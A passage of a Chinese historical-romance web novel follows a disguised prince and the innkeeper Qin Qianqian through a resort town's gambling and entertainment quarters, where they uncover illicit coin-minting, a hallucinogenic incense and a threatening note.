晏信隐隐察觉一丝不安，总觉得这老头要坑自己。可还是被他提溜走了。
驻守原地的元德，倒是很好奇王老怪要怎么打探消息。白邵禾端起眼前的茶盏抿了一口，眉眼弯弯地笑着说：“□□吧，让他用脸诱惑一些看脸的人，然后打探消息。”
白邵禾对此不置可否，毕竟又能打探消息，又能恶心一下晏信，一举两得，多好。元德看懂了他的表情，点头后便不再吭声。
不出三炷香的时间，王老怪和晏信就回来了。不仅回来，晏信手里还拿着几只花。白邵禾明知故问，问他花是哪里来的，很是漂亮啊。
“漂亮吧？我给他买的，让他送给姑娘们。就这样，我们问出了线索。原来那里边是专供姑娘们去观光的地方，那里面也歌舞升平，听说让人流连忘返呢。”
旁边的晏信撇撇嘴，一脸不悦地说：“是啊，不让人流连忘返，她也不会日日想着要去了。”
听他语气不对，王老怪和白邵禾都诧异地看着他。白邵禾只当他是别有目的，喜欢只是一个托
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词，可现在他不由得重新审视起这个人。
由于秦千千好歹也算是王老怪的后辈，所以他一路上都不由得多关心了她一下。王老怪跟白邵禾的想法差不多，他是万万没想到，这人怎么就突然情根深种，现在还吃起醋来了呢？
“啧，咱也不兜圈子了，你跟我说说，你是真的喜欢千千啊？不是，你们才认识没多久吧。”
听着王老怪这么问自己，晏信置气地摇头，不再跟他们谈这事儿。他觉得自己几次三番表明心意，这群人每一个当回事儿的，实在让人恼火。
按照前两天的习惯，秦千千她们三人中午会回客栈吃饭，然后在下午未时出门，直到晚上亥时才回来。白邵禾提议在这里等她们，把人捉回去。
午时一刻，秦千千三个有说有笑地出门，桑风雪一眼就看到了街对面的人，第二个看到的是桃花花。跟他们对视的时候，秦千千笑容僵在脸上。
不过也就只有那一瞬。
而后她大大方方地走过去，跟他们打招呼。
“你们怎么来这里了？别告诉我是跟踪我们来的啊！”
看着他们一人占着桌子的一边，谁也没有给自己让位的意思，秦千千只得动手拍了拍眼前的王老怪，让他去旁边坐。
王老怪挪地方后，秦千千让桑风雪和桃花花坐在这里，自己则是去了对面，坐在晏信旁边。桌上的氛围格外沉默，秦千千不解地问他们怎么了。
“没什么，只不过你们几个抛下我们去玩，是不是有点不太仗义啊？”王老怪语气没有一丝责备，更多的是调笑。
秦千千无奈地耸耸肩膀，非常无辜地开口：“不是抛下你们，那里面不允许男的进去呢。这我也没办法！这样吧，你们想去玩的话，南暮烟北琉珍，我请你们去琉珍居玩。”
看着他们面面相觑的样子，秦千千就猜到了，行吧他们还不知道什么事南暮烟、北琉珍。她只好免费给他们科普起来，说一半她还又叫了一壶茶。
也就是听她说到南北坊的生意，白邵禾才发现，她手中的消息还是比自己的全了一点。不过他也不奇怪了，情报摄取方面，还是很少有人能比得过她们的。
“南坊，也就是你们眼前这个，男人一律不给进去。北坊则是不同，北坊男女都可以。原因也好说，里面有很多赌坊，赌这种东西，不分男女。我建议你们去北坊玩，也只是建议你们去看里面的歌舞表演，赌这种东西，万万碰不得。”
赌坊属于北坊的地下产业，因此暗卫没有打探到，更别说只出去忙活了一阵的晏信和王老怪了。
“走吧，那下午我们就不去南坊了，跟你们一起去北坊看看。”秦千千想起自己真是多余说那句，嘱咐他们不能去赌坊的话。
要进赌场是有条件的，要连续去南北坊任意一坊三天，集齐三个玄武图腾才可以。而眼下，也就自己和桑风雪集齐了。
秦千千是故意不告诉她的，虽然桃花花只比自己小一岁，但她不想桃花花去这种危险的地方。最主要的原因是，桑风雪带她一个拖油瓶就够呛了，不能再多带了。
20. 北琉珍
一行人到了北坊北琉珍才发现，它名字中的琉珍是什么意思。
比起南坊除了气派别无他样的阁楼制式，北琉珍可谓是一眼就让人刻骨铭心。从屋顶开始，每片瓦都是七彩琉璃瓦，在太阳的照射下，显得更加流光溢彩。
一般挂在楼角的惊鸟铃，在这里也别出心裁地换成了珍珠和银铃做成的饰品，既好看，又在微风徐徐吹动的时候，发出清脆的叮当声。
“普天之下，居然还有这种华美的建筑，之前怎么都没听人说起过的？”晏信不由得感叹，他常常自诩见多识广，现在看来还是天外有天了。
“千千，咱们怎么不早些来这里？哪怕进不去，让我在门口看几天，我也是乐意的。”桃花花一直抬着头，盯着那珍珠铃铛，她突然灵机一动准备跟桑风雪说话，却被秦千千捏住下巴。
“想都别想！这里的守卫多的你不敢想象，你还是收收让桑姐姐给你偷铃铛的心吧。走吧各位，里面还有更多好看好玩的呢。”
看着秦千千她们走到前面，白邵禾一声不吭地跟在最后。他越发觉得，这个涌泉镇不简单。
按照他暗中搜集到的消息，这南北坊就是温玉泉一手操办的。也就是说，这涌泉镇最重要的两个产业，那四座温泉山以及南北坊，全被温玉泉一手掌握。
可他的儿子，居然胆大包天地欺瞒天子！也不知道一级一级的审查官员，究竟收受了多少贿赂……一想到这里，白邵禾就恨不得再修书回京，即刻诛杀温文瑞。
可他知道不行，不能打草惊蛇。若是他和秦千千行进到一处，那里就有惊扰朝廷的事情发生，那秦千千早晚能察觉到他的身份有问题的。
思虑至此，白邵禾眼神复杂地看着人群前面的秦千千，近来他派人盯得紧，也没见什么人跟她汇报信息什么的。那是不是意味着，她最近的确不知道江湖上的各种消息呢？
从她开始离京，白邵禾就在思考这个问题，可眼下他拿不定主意。
众人进屋之后，秦千千熟门熟路地去帐台换琉珍币，那是一种特制的货币。质地润透的琉璃，包裹着一刻珍珠，做工不说多么巧夺天工，却也漂亮得很。
换好一袋子后，秦千千过来给每人分了五个。
“一个琉珍可值五百钱呢，花不完晚上我们可以退，只不过不能损坏啊。来来来，这次就当我请你们玩了。”
这里跟别的酒坊还不一样，站起来观摩的时候，没有人过来搭腔。只有当客人自己落座后，才会有侍奉的人过来。而且这里茶水免费，只不过座位要收费。
至于再想看别的项目或者想找人陪酒，那就得花琉珍自己买了。
秦千千带着他们先就近落座，表演还没开始，因此偌大的舞台下，桌椅的空位置还很多，而且她们现在落座的最外圈，是完全免费的。
“来来来，坐下咱们慢慢聊，看看待会儿要不要掏钱上前面去玩。”秦千千招呼他们坐下，元德忧心忡忡地坐在白邵禾手边。
与元德万事都表露在脸上不同，白邵禾的脸色几乎看不出什么变化，也就是跟随他多年的元德才能察觉到，殿下现在的心情差到极点了。
不用想，元德也知道是因为什么。
南梁朝传承几百年，各种律法条文都是非常完备的。私自铸币，这就是动摇国之根本的死罪。想到这里，白邵禾的眼神越发狠厉。
元德看着平时杀伐果决的殿下马上就位时，他赶忙推了一把白邵禾，而后硬着头皮抛出一个话题。
“白公子，你这个币够不够？不够的话，我的这些也给你吧。”
“……不必了，这些就够了。”白邵禾理智回归，他漠然地摇头，可桌下的手中，还是死死捏着那五个青枣大小的琉珍币。
秦千千一抖手上的锦囊，琉珍从里面哗啦啦地掉了下来，给王老怪看得瞠目结舌。
“喂！你怎么给自己分配了这么多？我们一人五个，你这二……六……八……，你一个人霸占了十个！”王老怪眼睛一转，脑中一核算发现，就这些珠子二十两纹银已经花出去了。
“哎呀你也不能这么说嘛，千千她都给你五个了不是？她做东，她多玩点也没错。”晏信坐在秦千千左手边，听到她被诋毁赶忙给她说话。秦千千摆弄着桌子上的琉珍哭笑不得。
“着什么急啊，我这不是倒出来给你们算算嘛。待会儿我们要去前面坐着的话，一个位置就得五个琉珍。我到时候一花，这数不是跟你们一样了？”
发现自己以小人之心度君子之腹了，王老怪抬手揉了揉鼻子：“好吧，这次算我错了。”
秦千千没打算跟他纠缠，拿着琉珍，起身去前面选位置。
白邵禾不知道这是不是他的错觉，他总觉得秦千千进了琉珍坊后，整个人豁达了很多，给人一种我不跟你计较的感觉。
不止他有这个感觉，元德心中也在盘算这事儿。平时几文几文都要思虑半天的人，怎么到这里突然变成了豪掷千金不眨眼的人？况且就说自己手里的五个珠子，那都赶上自己一个月的月俸了。
想不出个所以然，元德只能说服自己，秦千千肯定是这几天在南坊养成坏习惯了。
不一会儿，秦千千过来喊他们过去，看着人一个一个走过去的时候，她主动跟最后面的白邵禾搭话。
“你怎么了？我发现你从进来就兴致缺缺的，是身体不舒服吗？”
白邵禾转头惊讶地看了她一眼，自己已经尽力在藏了，怎么还是给她发现端倪了？
“没有，或许是这里的香气有些太呛了，熏得我有些头晕。”白邵禾随便找了个理由，本想着秦千千会要他坚持坚持，谁知道她却提出要送他回去。
“既然你说香味儿受不了，那我送你回客栈吧。本来这楼上也是有卧房的，只不过那里面比这里还香呢。”
他应允后，秦千千去跟那几个已经落座的人说。元德一听这话，就要自告奋勇地送他回去，谁知对上远处白邵禾的眼神，那人盯着他微微摇头。元德心下了然，这是殿下又在给她设套了。
回去的路上，两个人一路闲聊，聊着聊着，就聊到了白邵禾的身世上。
“最近一直忙于奔波，我其实应该坐下跟你好好谈谈的。你看看那个江郎多会做生意，所以我觉得你的天赋也不会差。我要是跟你学个三招两式的，对我肯定很有帮助啊。”
秦千千表情十分诚恳
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，她边说边转头看街上卖的东西，白邵禾在一旁笑了笑。
“我原本以为你很喜欢玩。现在才发现，你应该是很喜欢你现在在干的事情吧？”这倒是白邵禾的心里话，他之前总觉得秦千千贪玩不靠谱，感叹姜千秋所托非人。
可经过最近的观察和刚刚的聊天，他发现，秦千千还是挺上心酒楼的事情的。不知怎地，他越聊就越想知道秦千千更多的事情，白邵禾把这种好奇，归咎为他还是想要攻略她。
秦千千收起吊儿郎当的样子，认真地点头承认，不管她做的好不好，这都是她唯一能做的事情。主人相信她，把重担交给她，那她就得配得上这份期待。
“千千，我还想问你一个问题，这个南北坊，在江湖上真的一点名气也没有吗？”白邵禾还是无法相信，朝廷那么多人，居然没有一个人察觉有人私自铸币吗？
设计生意方面，秦千千可是谨慎起来了。
“你知道这一个问题值多少钱吗？”看着她的眼神变得狡黠，白邵禾失笑，是了，是他忘了规矩了。“多少，我是真的好奇这个问题，毕竟我之前从来没有听说过。”
秦千千眼神一转，给他伸了一个巴掌。
“这个数，五十两。你觉得可以的话，我就告诉你，不行的话，这个问题你自己找答案也行。这还是我看在咱们的关系上，给你打了折扣的。”
“行，那你告诉我吧。我现在给你钱，还是从我借你的钱中划出去？”白邵禾想都没想一口就答应了，他以为秦千千会说两两抵债的，谁知道那人有自己的原则。
她虽然经手大大小小的生意，但生意所得她一文都不会动。这也就是为什么，清风酒楼生意遍布天下，秦千千出门却还要抠抠搜搜的了。归根结底，她只是个拿月俸的人罢了。
事实跟白邵禾想的差不多，秦千千告诉她，这个消息在江湖上的确广为流传。可之所以这事儿没有传到京都，那是有人重金买断。
“说实话，来我们清风酒楼彻底封锁一个消息的情况并不多见。就拿江郎的事情来说，他早就成阉人这事儿，他花了重金也没有堵上这个口子。”
言尽于此，秦千千没有再往下说，她的意思白邵禾已经知道了。像她们这种做生意的，那是谁给钱就帮谁办事儿。若是想要这种生意人不出卖自己，那就得给够诚意了。
秦千千揣好那五十两的银票，看着白邵禾若有所思的样子，不禁冒出个疑问：“你到底从家里带了多少钱出来？你这着实有点太富贵了吧！”
“我觉得即使我不跟你说，你早晚也能查得到吧。”白邵禾笑着说道，可他的语气却是十分肯定的。秦千千淡然地挥挥手，否定了这种可能。
“这肯定是不会的，我们不干烧杀抢掠的生意，所有的信息都是明面上有的，我们只负责收集信息而已。所以像这种荷包里有多少钱啊，或者更多私人信息，我们是觉得没办法知道的。”
白邵禾挑挑眉，这些话前半句他信，后半句他是没办法相信的。秦千千看出他似信非信的样子，就补充了一个无法让他反击的理由。
“主要是普通人的消息不值钱啊！除非你是什么王子皇孙，这倒是值点钱。”
21. 买卖的套路
这话一出，白邵禾大气都不敢喘。他行为的异常，落在秦千千眼里，她以为那人不高兴了。
“哎哎哎，千万别不高兴啊，我就是这么一说。这世间这么多人，不是谁都能成为王子皇孙的嘛。”
为了防止这个话题再延续下去，白邵禾赶忙转移了话题，他看着路边摆着的簪花小摊，停下了脚步。
“对了千千，我上次送你的那个凤鸣玉佩，怎么不见你带在身上？”他看了一眼秦千千的腰间，除了一条腰带就什么配饰都没有了。
秦千千尴尬地笑笑，挠着脑袋不好意思地说：“说了你可不要生气啊，之前躲避江郎追捕的时候，一不小心跑掉了，后来就没找到。那玉佩不会很贵吧？我再买一个赔你也行……”
“无妨，这里还有，你挑一个我再送你。”白邵禾看起来并未不悦，相反，他甚至还有几分畅快。
因为他在乎的不是那个玉佩，而是秦千千对自己的愧疚之情。再加上之前她还给自己买的消息打折，白邵禾总觉得两个人亲近了起来。
在他思虑这些的时候，秦千千跟卖首饰的小贩聊起了经商之道。
“丫头，你这做生意不对啊，做生意就得先把顾客哄开心了。就拿这个玉佩来说，你这个进价多少？”
那个跟秦千千年级相仿的丫头，想也不想就说了实话：“这个五两，我爹让我卖十两出去。”秦千千忍不住咋舌，这丫头真是涉世未深，不知道江湖险恶啊！
“你看，那你就不能直接给我报价十两，我随便砍砍价，你不就赚不了十两了吗？你应该先跟客人聊两句，然后跟他说这是二十两，跟客人投缘，给他打个折，十五两卖给他。再不济，再便宜二两。你中间还能赚三两不是。”
秦千千声色并茂地跟她说，那丫头听得是连连点头，白邵禾在一旁也是叹为观止，不过他总觉得有哪里不对劲儿……
“可这方法一定奏效吗？”那丫头皱着眉，她身为内行人，自然看得出这玉石值多少钱，可忽悠客人只要气势足，就不怕不奏效。
“包有用的！我做生意都跟客人这么说啊！”
秦千千这么一说，一旁的白邵禾脸算是黑了下来，合着刚刚给他打折，也只是这人的一贯话术罢了……他站在一旁叹了口气，那边秦千千已经决定要给她示范一下了。
“咱们说好啊，不管我卖多少钱，十五两归你。你拿着十两给你爹，剩下五两你自己拿着，再剩下的，那可就是我的了啊。反过来，即使没有卖到十五两，我照样给你十五两。”
这种稳赚不赔的生意，那丫头自然点头应允。可天不遂人愿的是，两人在摊前站了将近两炷香的时间，居然还是没有人光临。
白邵禾耐心告罄，他借故去茅房，实则是安排人去买首饰，他可不想一整天时间耗在这一个摊子前。
“记住，多安排几个人。若是买了第一个后，我们还没收走，那就等会儿再过去一个人。”
完事安排妥当，他才回了那个摊子前。不一会儿，就有一个五大三粗的男人过来问价格。白邵禾咬着后槽牙忍耐，莫凝歆怎么回事儿，派个女人来买首饰不行吗？
“老板，这个多少钱？”壮汉拿起那个秦千千用来教学的玉佩，白邵禾险些没站稳，这些人真是不会变通一点吗？但凡拿个别的首饰，也不会显得这么刻意。
“五十两。”秦千千自信开口，摊主姑娘一脸惊讶地看着她。白邵禾也面露异色，难不成这五十两是她信口开河的数据？怎么跟自己要价是五十两，现在卖东西还是五十两？
显然壮汉也是被吓到了，他万万没想到一个玉佩这么贵。“便宜点，行的话，我就带走了。”
正当白邵禾与摊主姑娘一致认为，她该见好就收时，秦千千果决地摇摇头：“你看看这个材质，这可是岐山百年石料！这做工，这成色！你知道这位公子站在这里是干什么的吗？他等着他家仆人拿钱来了买这个的啊。”
被迫入戏的白邵禾干咳两声，朝那人伸手要这个玉佩：“是啊，先到先得，你还是把玉佩给我吧。”
那壮汉把玉佩往怀里一揣，另一只手挡住她俩，说自己买了。后面火速掏出一张银票带走了那块儿玉佩。他还边走边回头，仿佛怕白邵禾跳上去抢一样。
这操作看得那姑娘瞠目结舌，秦千千从怀中掏出两张银票，一张十两一张五两。一旁的白邵禾则是满脸镇定，那人虽然样貌出人意料，但演技还算说得过去。
“给你十五两，估计你爹得全给你拿走了，自己藏起来五两吧。”
走出一段距离后，白邵禾才问秦千千，这算是她赚的钱，还是酒楼的钱。
“这可是凭本事赚来的，自然得入我腰包。”
把他送回客栈，秦千千一口水都没喝，又马不停蹄地赶去北琉珍。四下无人时，跟随一路的莫凝歆才进了屋。白邵禾攥紧手掌，关节都被捏的咔咔响。
莫凝歆为自己捏了把汗，但该汇报的事情还是要硬着头皮汇报。
“什么？刚刚去的那个人，不是你们安排的人？”
白邵禾被气笑了，他没想到秦千千那么拙劣的手法，居然真的能骗到人？令他震惊的事情还在后面。
探子来报，秦千千的确是去了北琉珍，可她进了屋后并没有直接去找王老怪他们，而是由人引着去了后面的酒坊。跟踪的人进不去，只得赶紧回来禀报。
没想到被秦千千摆了个声东西击，白邵禾让莫凝歆赶去查探，顺便联络元德，看看他那边有没有什么异常。现在没有别的理由，他就不能出去，他现在能做的就只有等。
不出一个时辰，白邵禾收到了一份详细的记录，事关北琉珍的具体情况。也就是看着这封书信，白邵禾才意识到，这南北坊，真是苍蝇都飞不进去的铁桶阵。
至于秦千千去的那个酒坊，她们根本无从查起。白邵禾大胆猜测，那就是秦千千说的赌坊。
“告诉元德，看紧桃花和桑风雪，特别是桑风雪。我就不信，去那种危险的地方，她能一个人都不带。”
谁知白邵禾话音刚落，莫凝歆就过来禀报他，说是元德禀报，桑风雪已经不见了。这下饶是风雨不动的白邵禾也急了，他铁青着脸下楼，一路赶去北琉珍。
元德无
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心看表演，他强忍内心的焦躁坐在位置上等着。看到白邵禾进来的一瞬间，他赶忙冲那人摆手，丝毫没有顾及可能挡到后面的人看表演了。
王老怪疑惑地转头，看到白邵禾的时候，他还奇怪呢，不是身体不舒服回去了吗？白邵禾面无表情地落座，王老怪还没来得及问他去哪里了，那边就传来一声熟悉的笑声。
循声望去，秦千千跟桑风雪有说有笑地从一个隐蔽的门出来。白邵禾很难见到桑风雪露出那般放松的表情，就连从江郎手里逃脱出来的时候，也没有见到过。
白邵禾心中只有一个念头：完了，秦千千一定是把跌仙泉的事情处理好了。原本他还想摸清地点，派重兵把守，或者直接掐断这个供应点，逼姜千秋出来。
现在看来，这个计划是又失败了。
“哎，你不是不舒服回客栈了吗？”秦千千自顾自地斟了杯茶，不解地问他。白邵禾撒谎都不用眨眼睛的，他随便找了个借口，搪塞过去了。
“什么？银票丢了！多少，找到了吗？”
看着秦千千惊讶的表情，白邵禾就知道，失策了。他怎么忘了这人是个财迷……
“没找到，不过没关系，也就五两银子而已。”
“五两？那是我半个月的月钱啊！”说完这话，秦千千愣了一下，桌上的人都齐刷刷的看着她。尤其是晏信和元德，眼神中甚至流露出一丝丝怜悯。
元德是酒楼新招的伙计，他一个月月钱是二两银子。他万万没想到，秦千千一个月居然也才十两银子吗？
晏信心怀不忍，本想着她出手不俗，以为是个有钱人家，谁知道……算了，看来以后自己得对她好一点了。
桑风雪和桃花花知道她的月钱，因此没有特别惊讶。至于白邵禾，他脸上却露出微妙的表情。秦千千这个人，在他眼中越发的复杂起来。
这人身上那种有豪掷千金的豁达，没有千金在身，是培养不出来的。可眼下她又说自己的月俸只有那一点，完全不够滋养那种豁达。
哪怕她经手着千金的买卖，只要钱没有进她的口袋，她又怎会有那么强的底气呢？
思来想去，白邵禾觉得她是在说谎。这人虽不及姜千秋绝顶聪颖，但也绝非自己想象的那么简单。能玩转江湖的人，白邵禾觉得自己不能再小觑她了。
单从自己跟她朝夕相处，却找不出什么马脚来说，她扮猪吃老虎的策略，真是获得大成功了。每每她要办关键事，就总能支开自己和暗中的眼线……
他越想越觉得不可思议，越看越觉得眼前的人有些可怕。
“千千，我这里还有些钱，你要是不够花的话，你千万要来找我。”晏信满眼怜惜，白邵禾看了忍不住在心里翻白眼。看来这家伙是真的蠢，也难怪现在被秦千千吃的死死的。
秦千千无奈地点头：“行，那我就先谢谢你了。”
元德看没人问，他就主动提起了那个话题：“老板，你刚刚跟桑风雪你们两个去哪了啊，怎么不带着我们去开开眼？”白邵禾倏然抬眼，看着她们两位。
秦千千抿了下嘴唇，搪塞他回去再说。
22. 经商天才
观看完美轮美奂的舞蹈，秦千千提议里面还有很多玩的，反正琉珍留在手里也是留在手里，还不如去花了。可白邵禾兴致不高，元德自然是跟他站在一条战线的。
晏信倒是兴致勃勃地赞同，来了就要好好观光游玩一番。王老怪本来十分赞成留下来的，可当一个人上台讲解坊中分区的时候，他的脸色突然难看起来。
“不行，这地方不宜久留，走！”
王老怪很少有这种严肃的时候，众人也只好依着他，一同离开。白邵禾和元德走得急，没来得及更换琉珍，剩下的人则是在账房更换完了才出去的。
晏信本来说要出去喊他们的，却被秦千千拦下。
“这琉珍本来就可以留作观赏用的，就让他们留这吧。”
出了门王老怪也没让大家闲着，他马不停蹄地往回赶，一路上还催促跟在后面的人走得快写。直到回了客栈，他把所有人都叫去自己房内。
他急匆匆地从床上的药袋中，拿出一个细颈瓶，让每个人倒一点点抹在正头顶的百汇穴处。秦千千拿过药瓶分别倒给众人，王老怪这才道出原委。
“那男子刚一上台，我就发觉他身上的味道不对！那就是乌羽玉，也叫做魔球。它浑身圆滚滚的，叶片瘦长似针。这种东西闻多一会儿就会致幻，而且上瘾性极强，这或许就是为什么南北坊，人络绎不绝。”
听他说完，秦千千也赶忙把药水倒在手心，抹到头顶上去。
“好家伙！抹这一点够吗？这解药能喝不能……”
秦千千一向很惜命的，她突然焦虑起来，这倒是把王老怪逗笑了。他笑着拿过细颈瓶，给自己也来个点。按摩自己百汇穴的时候，他才跟秦千千解释。
“放心，我们只闻了一点点，不会有什么大事儿的。哦对了，你们不是去了几天南坊吗？接下来别去了，不然真上了瘾，那可就不好办了。”
这话一说，秦千千自然不敢去了。她不仅不敢去，还嚷嚷着要早些跑路。
本着惹不起还躲不起的心态，她提议明天就启程，早日远离这个是非之地。
“……等等，可是我们来这里，拢共才去了一次温泉吧？就这么走了？”王老怪惊诧地看着她，这丫头，真是想一出是一出啊。
“想去的话，今晚上再去一次，反正我明天要启程的。你们谁要是不想走，咱们分道扬镳也行啊。”秦千千扫视一圈，继续说道：“晏信和白邵禾，你们想跟我们分开走，我绝不拦着。”
“那我……”王老怪仿佛抓到了什么关键字，他本就是被挟持来的，眼下这种场合，怎么能不走。
秦千千双手掐腰，歪头瞪着他：“你想都别想，这一路你还没赎罪呢。”
事情就是这样，有些人拼命想走却走不了，有些人偏偏还不想走。
晏信往前走一步，站在秦千千背后，他似乎是有些委屈地说：“千千，我能单独跟你说几句话吗？”
秦千千收起刚刚警告王老怪的咬牙切齿，她点了点头，随后跟着晏信去了隔壁。
对于晏信，秦千千是没有什么恶意的。毕竟相识的这几天，他除了烦人点，别的没有太大的毛病。
跟着晏信走到他房间，秦千千这才发现，这或许是这家客栈最奢华的房间了。在她四处张望的时候，晏信一本正经地开口，说起了他最介怀的事情。
“我不知道为什么，你们仿佛都觉得我在说玩笑话，可是我就是喜欢你。我现在就是想问你，如果你不介怀这一点的话，我想跟着你们走下去。可你若是介怀……”
“怎么会，我们当时只是习以为常了而已。再说，你不要想那么多，若是你想，那就跟我们走。”
身处掌柜之位，秦千千没少遇到那种仗着一副好看的皮囊，想过来蛊惑她的人。因此像晏信这种长相不俗，见面就开始贴上来的人，她一律打为那种人。
他到底是不是那种人，秦千千觉得这值得商榷。不过眼前看得出他也确实很关心自己，她姑且就当这人没有怀有恶意。
再加上现在获取情报不易，她就只能慢慢考量这人。要是现在还在酒楼，那她见面不出一个时辰，就能把人查个底儿掉了。
听到秦千千不排斥自己，晏信顿时眉开眼笑，他走过来准备拉她的手，却被秦千千后退一步躲开了。
“没别的事儿，我就先回去了，那边事情还没商议玩呢。”
白邵禾坐在桌边思考，为何这种形式下，秦千千会把他和新认识几天的人相提并论？难道说，两个人并没有他自己想象中熟络。
还是说，晏信那套恬不知耻做法，真的后来居上了？
在他思绪翻飞的时候，秦千千推门进来。两人目光交汇后，秦千千问他在发什么呆呢。
“没什么，晏信那边怎么说？”
“他啊，他肯定是跟我们一起的。我刚刚也就随嘴那么一说，要是单单问他一个人，显得有些欺负他似的，所以就把你加上了。”
秦千千大大咧咧地坐在半包围躺椅上，还悠闲地翘起了二郎腿。目光扫到坐在桌边的元德和王老怪，这才恨铁不成钢地坐直身子，继续说。
“我都没敢说他俩，都没提你，你就上赶着去找骂。”她生气地指了指王老怪，那人缩着肩膀偷偷转过身去。另一边目光呆滞的元德，也不能幸免于难。
“元德更不用说了，他就是老实人一个，骗人都不会。我那么说，他指不定当场要反问我，是不是要辞了他。”
元德抬手挠挠头，的确，像是自己能干出来的事情。
听完她的分析，白邵禾庆幸自己只是心中疑虑，没有表现出来。不然，就要被秦千千给看扁了。
他顺着秦千千的话问下去，既然明知道他会跟着，那又为什么还要多此一举呢？不得已，秦千千才说了自己的考量。
于情，他人挺好没做什么错事儿；于理，这人底细不明，跟着不让她放心。
“不过也没事儿，等过几天，该知道的我就都知道了。”
看她胸有成竹的样子，白邵禾就已经猜到
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原因，应该是查探晏信的过往有了眉目。
“哎呀，不管你们说的那么多！你快跟我说说，你跟桑姐姐去哪里玩了，说好带我怎么不带我去！”桃花花急的直跺脚。
沉默良久的桑风雪，谨慎地看了看屋外，这才开口：“我们两个就是去里面的赌场看看。”
“你们去赌场干什么？那地方可去不得啊。”王老怪看到讨伐自己的风气已经过去，就赶忙转身过来。
“什么啊，我们就是进去看两眼，完全没有去赌的意思。”秦千千起身走到门口，听听外面没有声音后，这才继续说：“那里面不仅有赌坊，还有卖天材地宝的地方，我俩是去那里面看的。”
白邵禾心下了然，秦千千不像是会去赌博的人，他以为她只是进去跟某些人接头，或者交代手下处理该处理的事情。
毕竟，她出来后突然提议离开涌泉镇，那就代表泉水的问题，她已经解决了。现在，他只当秦千千说的都是借口。
“你们还不知道呢吧，三皇子母妃身体抱恙，他满天下地找星尘草，悬赏一千两白银呢。”秦千千眼神都快发光了，只不过不知道她是有意，还是无意地提起三皇子穆轩岚。
这让就端坐在这里的本尊，眉心突突直跳。虽然白邵禾安慰自己，她不可能发现自己真实身份的。但每次谈及这种事情，他还是忍不住心悸。
“咳……，那老板你出来笑得那么开心，是不是因为你发现了星尘草？”
元德赶忙转移话题，他不知道殿下的承受能力怎样，只知道自己每次听她这么说，就感觉心脏被人一把抓住了。
秦千千捏着自己的下巴，满脸得意地开口：“没有，但我发现一个差不多的，而且他也不知道星尘草真伪吧，带回去骗点钱是点嘛。”
白邵禾垂眸看向自己膝盖，他展了展膝盖上的衣服，趁着低眼的瞬间翻了个白眼。
万万没想到，这人要跟自己玩套路。
“这……万一把皇后吃出病来，这可怎么办？”元德一脸震惊，这要是出了问题，高低得是个满门抄斩的死罪啊。再加上皇上与皇后伉俪情深，这不得千刀万剐了她。
“哎呀，你是不是傻。一来，我不可能自己去交易；二来，我怎么跟进献一些有毒的草药去。我问过店家了，这些只是消食健脾的良药，完全没有毒性的。”
……白邵禾抬头看她两袖空空的样子，就问她最后还是没买吗？
谁知她一摆手，骂起了店家：“就那么几根草药，卖我几十两，这不是坑钱吗？”
白邵禾心中冷笑，她居然好意思说别人坑钱？
“再说，咱们这不是还要去很多地方，路过一些荒郊野外，倒不如让王老怪去野外采一点就好了。”
别说白邵禾惊叹于她的一毛不拔，元德和王老怪都被气笑了。
“你可真是会做生意啊！”元德不禁感叹。
“事成之后，你准备分我多少？”王老怪左右摩挲着自己的下巴，很自然地跟秦千千同流合污起来。
23. 中圈套了
分多少？秦千千皱下鼻子，捏着拳头威胁他。
“你现在可是在赎罪阶段，你还跟我要钱啊，想的有点太美了吧。”说完，她打了个哈欠，准备回屋睡一会儿。“咱们晚上吃过饭，再去一次温泉山，然后明天一早就出发，各位没问题吧？”
她问完，别人自然是没有什么异议。于是，她自顾自地离开，躺上床呼呼大睡起来。桑风雪和桃花花可精神得很，两个人一合计准备去外面转转。
主要是桃花花自己出去，桑风雪不放心她。而王老怪，自然是不能单独出去的，他提议三人一同出去喝酒，却被元德一口回绝。
“喝酒误事，你以后少喝点吧。”
就这样，三个人坐在屋里干耗着。白邵禾突然想起了什么，他起身准备出去。
“我前几天买了青枣，蛮好吃的，我再下楼买点。”
脱身后，白邵禾在巷子中七拐八拐，走到了一处隐蔽的小院。推门进去，莫凝歆在门后关上了门。得了空，莫凝歆这才跟他汇报起了最近的详细情况。
南北坊的监控，要比她们预想的要严格得多。至少看似简单的进大门，也不是谁都能进去的。莫凝歆前后拍了二十多个人进北坊，各个都被拦在外面。
就连她们临时收买的路人，也会因为收了钱而被禁止入内。至于买通那些进去过的人的想法，却怎么也实行不下去。出来的人都是口风紧得很，一个字都不愿意多说。
可以说，整个北坊就是个铁桶阵。里面的消息传不出来，外面的人也渗透不进去。
白邵禾摩挲着桌上的茶盏，微微蹙眉。
“若真是铁桶阵，那秦千千的消息又从何而来？而且，怎么她带着我们，就轻而易举地走了进去呢？”他喃喃自语，莫凝歆只好说出新近的发现。
“殿下，进入北坊可能是需要有人作保的。属下觉得，与您同行的一群人之中，最可能有这个面子的，只有两个人。一个是秦千千，另一个就是晏信。”
听到这里，白邵禾嗤笑一声，这涌泉镇真有意思。他放下茶盏，起身在屋中踱步，这是他一贯在思考事情的习惯。
据莫凝歆所说，秦千千消失的那不到一个时辰里，从外面没有看到她外出。而若是有什么地下的密道，普通人跑出她们的监视范围，也得半个时辰。
那就只能说明，她当时真的在琉珍坊没有出去。可一点异动都没有察觉，秦千千为何要在涌泉镇待这么长时间呢？
他百思不得其解，可时间差不多了，白邵禾只能带着油纸包好的青枣回去。
刚到客栈门口，就看到王老怪和元德坐在楼下，白邵禾还奇怪现在就开始吃饭了吗？但秦千千又还没下来，就连粘人精晏信也不在。
“白公子，这里！”元德朝白邵禾挥手，等他过去后，王老怪才神情凝重地跟他说：“也是怪事儿，刚刚元德跟我在屋里，突然有个石块飞进来，上面还绑了一张纸条。”
王老怪把纸条推给白邵禾，他定睛一看，那纸上用鲜红的笔迹，歪歪扭扭地写了几个字：子时不滚，神挡杀神。
“就直接扔进我们房间的吗？”白邵禾眉头紧缩，照理说他的暗卫一直在附近，这种事情一问便知。可这种跟行刺无疑的行为，应该会被当场擒住的啊？
王老怪认真地点了个头，一旁的元德也百思不得其解。
“我们在这里也没有惹什么人吧？这种事情，真的让我们想不明白。”自己被恐吓，元德倒是不怕，可这种危及殿下的事情，他真的是如履薄冰。“对了，我们还去问了晏信，他那边没有异常。”
“那他怎么不下楼，跟我们一起讨论。”
王老怪一摆手，一副见怪不怪的样子：“你还不知道他？他说要留在楼上守护睡着的千千。”
白邵禾无奈地点点头，而后眼神又落在那张纸上。若说到涌泉镇后最可能有什么过节，那就是南北坊了吧？
